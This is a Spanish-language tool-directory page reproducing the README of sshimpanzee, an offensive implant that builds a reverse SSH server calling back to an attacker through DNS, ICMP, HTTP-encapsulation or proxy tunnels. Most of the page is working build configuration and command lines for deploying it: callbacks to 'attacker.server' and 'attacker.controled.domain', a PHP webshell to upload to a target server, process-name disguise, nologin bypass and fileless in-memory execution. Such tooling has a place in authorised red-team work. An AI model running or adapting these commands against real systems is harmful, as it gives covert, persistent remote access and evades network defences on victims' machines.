Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
sshimpanzee — Implante basado en SSHD que soporta mecanismos de tunelización para alcanzar el C2 (DNS, ICMP, Encapsulación HTTP, Proxies HTTP/Socks, UDP...) | Kitploit
Herramientas/GitHubGitHub/lexfo/sshimpanzee
Generación de PayloadsPost-ExplotaciónSeguridad de RedesComando y ControlRed TeamingHerramienta de Acceso RemotoAnálisis de DNS
GitHublexfo/sshimpanzee

sshimpanzee

Implante basado en SSHD que soporta mecanismos de tunelización para alcanzar el C2 (DNS, ICMP, Encapsulación HTTP, Proxies HTTP/Socks, UDP...)

Ver Repositorio
29329hace 1 añoRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Sitio web

Sshimpanzee

Sshimpanzee te permite construir un servidor ssh inverso estático. En lugar de escuchar en un puerto y esperar conexiones, el servidor ssh iniciará una conexión inversa a la IP del atacante, como un shell inverso normal. Sshimpanzee te permite aprovechar todas las características de una conexión ssh normal, como reenvíos de puertos, proxies dinámicos SOCKS o un servidor FTP.

Más importante aún, si no es posible una conexión directa desde la máquina víctima al servidor atacante, proporciona diferentes mecanismos de tunelización como Tunelización DNS, Tunelización ICMP o Encapsulación HTTP. También soporta proxies HTTP y SOCKS5. Hay un documento técnico disponible en el blog de lexfo.

CONSTRUCCIÓN CON DOCKER - RECOMENDADA

root@kitploit:~
sudo docker build . --output . 
sudo docker build . --platform arm64 --output . 

Podrías necesitar habilitar la variable de entorno DOCKER_BUILDKIT=1

Archivo de compilación

La compilación se realiza basándose en el archivo build.yaml:

root@kitploit:~

###
# This is sshimpanzee build configuration file
# YAML is used to describe what behaviour and feature should the sshimpanzee get
###

### General config

process_name: "sshimpanzee" # Name of the process as it appears in ps (yet you won't be able to kill it with this name)


banner: True # Should the banner be displayed at log
verbose: 3 # Verbosity level as written in build/build.log

shell: "/bin/sh" # Default shell to pop for user, bypassing /etc/passwd entries with false or nologin as shell
timer: 60*1000*1000  # Time in milliseconds before a new sshimpanzee child is forked after exiting. For example in sock MODE, a new sshd connection will be made 1 minute after the previous one is dead

keygen: True # Re generate keys during build, insure a new HOST and CLIENT keys is used
public_key: #if new keys are not regenerated it is possible to specify a public client key to authenticate (only ed25519 keys are supported)
#public key: "ssh-ed25519 .... ROGUE@ROGUE"

make: True # Keep it to true if you want the builder script to generate sshd binary
force_clean_build: True #Currently required for docker builds, will force builder script to recompile tunnels and dependances
reconf: True # Required for docker builds


### Environment
# sshimpanzee is configured at runtime through environment variables, yet, it is possible to preset environment variable, to get a default behavior


env:
  if_not_set : # Variable here will be set if they do not already exists
    REMOTE: 127.0.0.1
    PORT: 8080
    MODE: sock # MODE environment variable is used to manage the default tunnel
  overwrite: # Variable here will overwrite already existent 
    

### Tunnels
# sshimpanzee come with different tunneling mecanisms
# To speed up compilation time, and more importantly to get a lighter binary it is possible to include or exclude some tunnels
# Tunnel compilation parameters can be specified here 
tun:
  sock:
      enabled: True

  icmp:
      enabled: True
      buildserv: True # should the corresponding ICMPTunnel server be built 
      raw_sock: False # build with support for raw sock for older kernels

  http_enc :
      enabled: True
      key: # web shell key, empty will result in a new key being generated
      target:
        - "php" # list of language you want to generate webshells for 
      path_fd: "/dev/shm/sshim" # Fifo that sshimpanzee will use to communicate with webshells

  dns:
      enabled: True    
      resource: sshimpanzee # DNS2TCP Resource
      key: sshimpanzee # DNS2TCP key
      obfuscate: True # obfuscating DNS2TCP Magic string, this will force the build of the corresponding srver
      buildserv: False 
      qtype: TXT # Type of query used by DNS2TCP

  proxysock:
      enabled: True

  no_build:
      enabled: False 
      path: []

# Openssh subsystems
# man sshd_config Subsystems

subsystems:

  internal_sftp: # standard sftp as provided by openssh 
    enabled: True # It is required for scp and sftp
    name: sftp
    exec: internal-sftp
    is_internal: True
    
  remote_exec: # Sshimpanzee custom subsystem
    enabled: True # remote execution using fileless memfd technique
    name: remote-exec
    exec: internal-remote-exec
    is_internal: True

  python: # example of a stadard ssh subsystem
    enabled: False
    name: python
    exec: /usr/bin/python -c "print('python code')"
    is_internal: False

Uso

En tiempo de ejecución, el binario sshimpanzee se configura a través de variables de entorno. La variable MODE permite al usuario seleccionar entre los túneles compilados. Cada túnel se puede configurar mediante variables de entorno. Por ejemplo, para obtener una conexión inversa clásica a 127.0.0.1:8080, usa lo siguiente:

root@kitploit:~
MODE=socks REMOTE=127.0.0.1 PORT=8080 ./sshimpanzee

Es posible ejecutar sshimpanzee en modo depuración con -d. En modo depuración, sshimpanzee permanecerá en primer plano.

Túneles

Actualmente sshimpanzee soporta varias formas para que el implante alcance al cliente ssh del atacante:

  • Tunelización DNS usando el protocolo dns2tcp
  • Proxy : HTTP/SOCKS4/SOCKS5
  • Sockets : (puede ser útil si quieres implementar tus propios túneles)
  • Túnel ICMP
  • Encapsulación HTTP

Conexión Sock

  1. Ejecuta ssh en el lado del cliente de la siguiente manera:
root@kitploit:~
ssh [email protected] -oProxyCommand="nc -lp 8080" -i CLIENT
  1. Ejecuta sshimpanzee en el objetivo:
root@kitploit:~
MODE=sock REMOTE=127.0.0.1 PORT=8080 ./sshimpanzee 

Otros ejemplos:

root@kitploit:~
MODE=sock REMOTE=127.0.0.1 PORT=8080 SSHIM_LISTEN= ./sshimpanzee  # bind and listen to 127.0.0.1:8080

MODE=sock UNIXPATH=/tmp/sock SSHIM_UNIX ./sshimpanzee # Connect to unix socket /tmp/sock
MODE=sock UNIXPATH=/tmp/sock SSHIM_UNIX= SSHIM_LISTEN= ./sshimpanzee # Bind and listen to /tmp/sock unix socket 

Conexión a través de proxy

  1. Ejecuta ssh en el lado del cliente de la siguiente manera:
root@kitploit:~
ssh [email protected] -oProxyCommand="nc -lp 4444" -i CLIENT
  1. Ejecuta sshimpanzee en el objetivo:
root@kitploit:~
MODE=proxysock REMOTE=attacker.server PORT=4444 http_proxy=socks5://proxy.lan:8080 ./sshimpanzee

Otros ejemplos:

root@kitploit:~
MODE=proxysock REMOTE=attacker.server PORT=4444 http_proxy=http://proxy.lan:8080 ./sshimpanzee
MODE=proxysock REMOTE=attacker.server PROXY_USER=user PROXY_PASS=password PORT=4444 http_proxy=http://proxy.lan:8080 ./sshimpanzee

Usar Tunelización DNS

  1. En tu servidor ejecuta el dns2tcpd estándar usando el archivo de configuración en este repositorio, necesitarás modificar el dominio (y el puerto del recurso si lo deseas).
root@kitploit:~
listen = 0.0.0.0
port = 53
user = nobody
key = sshimpanzee
chroot = /var/empty/dns2tcp/
domain = <SERVER>
resources = sshimpanzee:127.0.0.1:8080
root@kitploit:~
sudo ./dns2tcpd -F -f dns2tcpdrc
  1. Ejecuta ssh en el lado del cliente de la siguiente manera:
root@kitploit:~
ssh [email protected] -oProxyCommand="nc -lp 8080" -i CLIENT
  1. Ejecuta el binario sshimpanzee:
root@kitploit:~
MODE=dns REMOTE=attacker.controled.domain ./sshimpanzee

Otros ejemplos:

root@kitploit:~
MODE=dns REMOTE=attacker.controled.domain RESOLVER=8.8.8.8 ./sshimpanzee # Force the use of 8.8.8.8 DNS Resolver

Usar Tunelización ICMP

  1. En tu servidor, agrega las capacidades correctas para evitar ejecutar el proxycommand como root y deshabilita la respuesta de ping del sistema
root@kitploit:~
sudo setcap cap_net_raw+ep icmptunnel
echo 1 | sudo dd of=/proc/sys/net/ipv4/icmp_echo_ignore_all 
  1. Ejecuta el cliente ssh estándar con icmptunnel como proxycommand:
root@kitploit:~
ssh i -oProxyCommand=./icmptunnel -i test/CLIENT 
  1. Ejecuta el binario sshimpanzee:
root@kitploit:~
MODE=icmp REMOTE=127.0.0.1 ./sshimpanzee 

Usar Encapsulación HTTP (ssh -> servidor http -> sshd)

  1. Sube los archivos /tuns/http_enc/proxy.php y sshd a tu servidor web objetivo

  2. Asegúrate de que proxy.php se ejecute correctamente

  3. Ejecuta el binario sshd en el servidor web

root@kitploit:~
MODE=http_enc ./sshimpanzee 
  1. Ejecuta ssh en la máquina cliente con el script python en utils/scripts/ como comando proxy:
root@kitploit:~
ssh -o ProxyCommand='python proxy_cli.py http://127.0.0.1:8080/proxy.php EncryptionKey 2>/dev/null' a@a -i ../../keys/CLIENT 

Se pueden pasar múltiples argumentos a proxy_cli.py para agregar proxies. Actualmente solo se soporta PHP. En un servidor JSP, se recomienda usar: A Black Path Toward The Sun (ABPTTS)

Notas adicionales sobre la encapsulación HTTP

  1. Proxy.php es un webshell mínimo, puedes usarlo para subir sshd al servidor y ejecutar comandos. proxy_cli.py ofrece las opciones --run y --drop para hacerlo.

  2. Podrías experimentar un gran retraso en la entrada, esto se debe a que se agrega un retraso de 1 a 5 segundos al paquete enviado por el cliente ssh para evitar generar demasiadas solicitudes HTTP. Si no te importa generar muchas solicitudes HTTP (y por lo tanto muchos registros en el servidor web), agrega la opción --no-buffer al comando proxy_cli.py.

Usando el cliente sshimpanzee

Este repositorio también proporciona un cliente ubicado en utils/client/bin. Simplemente copia la clave CLIENTE en utils/client/keys/

root@kitploit:~
sshimpanzee --new PORT #create a new listener on PORT
sshimpanzee --new-dns #create a new DNS listener (Don't forget to modify utils/client/config/dnsconf.txt)
sshimpanzee --new-icmp #create a new icmp listener
sshimpanzee --new-http PROXY_PHP_URL #create a new HTTP Session 

sshimpanzee --list #list availaible sessions

sshimpanzee --get SESSION_NUMBER #to jump into a session any extra parameters are passed as ssh params
sshimpanzee --rename SESSION_NUMBER #to rename a session
sshimpanzee --kill SESSION_NUMBER #to kill a session
sshimpanzee #use fzf to select which session you want

Sin embargo, puede ser menos confiable que usar ssh directamente.

Crear tu propio mecanismo de túnel

Todos los túneles están disponibles en el directorio tuns/. Si quieres agregar otro túnel, simplemente añade una función con el nombre de tu túnel en tuns/builder.py. Esta función es responsable de generar un archivo libtun.a que contenga tantos .o como sea necesario, con uno de ellos exportando un símbolo tun(). Alternativamente, puedes construir tu propio libtun.a y usar el túnel llamado no_build, proporcionando la ruta a tu libtun.a personalizado.

Usar la ejecución sin archivos

Si sshimpanzee se construye con el módulo de subsistema remote-exec, es posible ejecutar código remotamente completamente en memoria.

root@kitploit:~

python remote_loader.py "ssh -vvvv t@t -S ./SOCKET -s remote-exec" /home/titouan/tools/Misc/RustScan/target/release/rustscan -a 127.0.0.1

Trabajo Futuro

  • Agregar otros túneles:
    • Encapsulación HTTP (Primer paso mediante http_enc y proxy.php: agregar JSP y otros programas)
    • Pila TCP/IP en espacio de usuario con socket raw?
    • ICMP: Cifrar/cadena Xor para evitar detección en caso de análisis de red
    • Subsistema para post-explotación:
      • Procdump
      • Escaneo TCP

Agradecimientos

Este repositorio se basa en muchos proyectos diferentes.

  • En primer lugar, Openssh-portable (9.1) : https://github.com/openssh/openssh-portable
  • La libc musl para compilarlo estáticamente : https://wiki.musl-libc.org/

Para los túneles:

  • Dns2tcp : https://github.com/alex-sector/dns2tcp
  • icmptunnel (modificado en gran medida para mejorar la resiliencia del túnel) : https://github.com/DhavalKapil/icmptunnel.git
  • Proxysocket : https://github.com/brechtsanders/proxysocket

Es importante notar que no es un proyecto muy original, la weaponización del protocolo ssh ya se ha hecho hace varios años:

  • https://github.com/Marc-andreLabonte/blackbear
  • https://github.com/Fahrj/reverse-ssh
  • https://github.com/NHAS/reverse_ssh
Descargar herramienta